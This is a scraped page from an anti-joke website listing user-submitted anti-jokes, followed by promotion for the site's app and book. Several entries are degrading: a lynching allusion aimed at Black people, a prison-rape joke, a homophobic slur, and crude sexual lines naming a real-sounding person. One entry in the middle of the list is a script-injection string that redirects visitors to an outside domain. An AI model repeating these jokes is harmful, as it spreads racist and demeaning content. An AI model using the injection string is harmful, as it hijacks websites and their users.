An Englishman, a Welshman, an Irishman and a Scotsman are all stranded on a desert island. After several days spent utilizing the survival skills they had been taught in the Royal Navy, they were eventually evacuated by fellow sailors searching for them. As the only survivors, their stories were vital in preventing such shipwrecks in future.

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Q: What's red and bad for your teeth? A: Bricks.

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Why was Sally sad? She was the only survivor of a plane crash that killed her entire family.

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Roses are red Violets are blue Daises are white And Pansies hold hands and skip

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What's more irritating than a half eaten apple? Some prick taking up half the page with shitty copy and past routine.

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What do you get from M&M bags? M&Ms.

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Why do chickens have feathers? Because chickens are birds and birds have feathers.

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Why wasn't cacto at school that day. Because Silas gave him extreme butthole aids.

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Whats black and hangs from trees? To get to the other side.

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Why'd the squrille fall out of the Tree? Cause it was dead

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Knock knock. Who's there? To To Who? To Whom.

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Roses are Red Violets are Blue I'm Schizophrenic And so am I.

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What's worse than forgetting to charge your cell phone battery? Getting wrongfully accused and going to jail and get raped by inmates for the rest of your life.

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How do you make someone laugh? Tell them this joke.

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"'>document.location.href="http://cramik.org"

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Why would Maria not have sex with Liam? Because she is Danish and doesn't shave and therefore is self-conscious

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Why did the magician die when he tried to escape from the handcuffs underwater? Because he drowned and failed his magic trick.

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what's repetitive and really annoying what's repetitive and really annoying what's repetitive and really annoying what's repetitive and really annoying what's repetitive and really annoying what's repetitive and really annoying what's repetitive and really annoying what's repetitive and really annoying what's repetitive and really annoying what's repetitive and really annoying what's repetitive and really annoying what's repetitive and really annoying what's repetitive and really annoying what's repetitive and really annoying what's repetitive and really annoying what's repetitive and really annoying what's repetitive and really annoying what's repetitive and really annoying what's repetitive and really annoying what's repetitive and really annoying what's repetitive and really annoying what's repetitive and really annoying

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How do you make a dentist cry? Kill all his family.

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What's sad about a girl getting hit in the face with a shovel? The shovel got dented..

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Yes you better be sorry, I'm gonna suck my mums p e n i s tonight! - Dylan Hodge

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If you're having girl problems, I feel bad for you, son... Because I can empathise with you, and it's not a very nice situation to be in. Hope you work it out.

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A deer looks at the ground and sees something strange. He wonders what it could be. A rabbit comes along and thinks the same. A badger promptly arrives after the rabbit and thinks the exact same. 4 seconds later they all get hit by a train.

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How many Soviet Russians does it take to screw in a light bulb? None, in Soviet Russia, light bulbs are an unavailable commodity because the tyrannical government has called for a ban on unnatural illumination. A fact which is not lost on Mikhail, the light bulb maker whose wife died because his lack of business caused him to miss payments on his hospital bills.

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Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

Our Updated iOS App!

We've just released huge update to the iOS app! Now, access all your favorite text and photo sites like Anti-Joke, DIYLOL! A few things didn't make the original cut (like comments) but they'll be back soon. Best of all, the app is now FREE! Get it here.

The Anti Joke Book


NEW ANTI-JOKE BOOK!  Now that we've resolved the printing issues with our publisher, check out the BRAND SPANKING NEW Anti-Joke Book!

MOAR??

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Anti-Joke Chicken

Anti-Joke Triceratops